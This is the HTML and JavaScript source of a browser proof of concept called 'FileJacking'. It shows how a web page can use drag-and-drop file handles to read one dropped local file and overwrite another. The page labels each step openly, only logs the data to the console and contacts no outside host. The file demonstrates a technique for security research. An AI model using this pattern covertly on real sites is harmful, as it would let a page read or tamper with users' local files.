FileJacking-PoC/index.html at main · Print3M/FileJacking-PoC · GitHub

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<!--

Date  : July 2025
Author: Print3M
GitHub: https://github.com/Print3M
Blog  : https://print3m.github.io/

-->

<!DOCTYPE html>
<html lang="en">
  <head>
    <title>FileJacking PoC</title>
    <meta name="author" content="Print3M" />
    <meta charset="UTF-8" />
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <link
      href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&display=swap"
      rel="stylesheet"
    />
    <style>
      * {
        box-sizing: border-box;
        margin: 0;
        padding: 0;
      }

      body {
        font-family: "Inter", sans-serif;
        background-color: #f4f4f5;
        display: flex;
        justify-content: center;
        align-items: center;
        min-height: 100vh;
      }

      .container {
        display: flex;
        gap: 60px;
        padding: 40px;
      }

      .box {
        background: white;
        padding: 30px;
        border-radius: 20px;
        box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
        text-align: center;
        width: 280px;
      }

      .box p {
        font-size: 18px;
        margin-bottom: 20px;
        color: #333;
      }

      .dropZone {
        border: 3px dashed #999;
        padding: 80px 0;
        font-size: 28px;
        color: #555;
        border-radius: 12px;
        background-color: #ffe4c4;
        transition: all 0.2s ease-in-out;
      }

      .dropZone:hover {
        background-color: #f0c890;
        color: #222;
        cursor: pointer;
      }

      h1 {
        text-align: center;
        font-size: 56px;
        margin-top: -35px;
        padding-bottom: 30px;
      }
    </style>
  </head>
  <body>
    <div>
      <h1>FileJacking PoC</h1>
      <div class="container">
        <div class="box">
          <p><strong>Step 1.</strong> Input file: this file will be copied.</p>
          <div class="dropZone" id="input">DROP</div>
        </div>
        <div class="box">
          <p>
            <strong>Step 2.</strong> Output file: this file will be overwritten.
          </p>
          <div class="dropZone" id="output">DROP</div>
        </div>
      </div>
    </div>
  </body>
  <script>
    let base64Content;

    const input = document.getElementById("input");
    const output = document.getElementById("output");

    input.addEventListener("dragover", (e) => e.preventDefault());
    output.addEventListener("dragover", (e) => e.preventDefault());

    input.addEventListener("drop", async (e) => {
      e.preventDefault();

      const items = [...e.dataTransfer.items].filter(
        (item) => item.kind === "file"
      );

      if (items.length === 0) {
        console.log("[-] Error: no files detected");
        return;
      }

      const handlePromises = items.map((item) => item.getAsFileSystemHandle());

      for await (const handle of handlePromises) {
        if (!handle) continue; // Skip nulls
        await handle.requestPermission({ mode: "read" });

        if (handle.kind === "directory") {
          console.log(`[-] Error: dropping directory is not supported`);
          return;
        }

        console.log("[+] File dropped:", handle.name);

        // Reading file
        const file = await handle.getFile();
        const buffer = await file.arrayBuffer();
        base64Content = arrayBufferToBase64(buffer);

        console.log("[+] Base64 encoded file content:", base64Content);

        return;
      }
    });

    output.addEventListener("drop", async (e) => {
      e.preventDefault();

      if (!base64Content) {
        console.log("[-] Error: no content, drop input file first!");
        return;
      }

      const items = [...e.dataTransfer.items].filter(
        (item) => item.kind === "file"
      );

      if (items.length === 0) {
        console.log("[-] Error: no files detected");
        return;
      }

      const handlePromises = items.map((item) => item.getAsFileSystemHandle());

      for await (const handle of handlePromises) {
        if (!handle) continue; // Skip nulls
        await handle.requestPermission({ mode: "readwrite" });

        if (handle.kind === "directory") {
          console.log(`[-] Error: dropping directory is not supported`);
          return;
        }

        console.log("[+] File dropped:", handle.name);

        // Overwritting file
        const file = await handle.getFile();
        const writable = await handle.createWritable();

        console.log("[*] Writing, wait...");

        const buffer = base64ToArrayBuffer(base64Content);
        await writable.write(buffer);
        await writable.close();

        console.log("[+] File overwritten successfully!");

        return;
      }
    });

    function arrayBufferToBase64(buffer) {
      const bytes = new Uint8Array(buffer);
      const binary = bytes.reduce(
        (str, byte) => str + String.fromCharCode(byte),
        ""
      );
      return btoa(binary);
    }

    function base64ToArrayBuffer(base64) {
      const binary = atob(base64);
      const bytes = new Uint8Array(binary.length);
      for (let i = 0; i < binary.length; i++) {
        bytes[i] = binary.charCodeAt(i);
      }
      return bytes.buffer;
    }
  </script>
</html>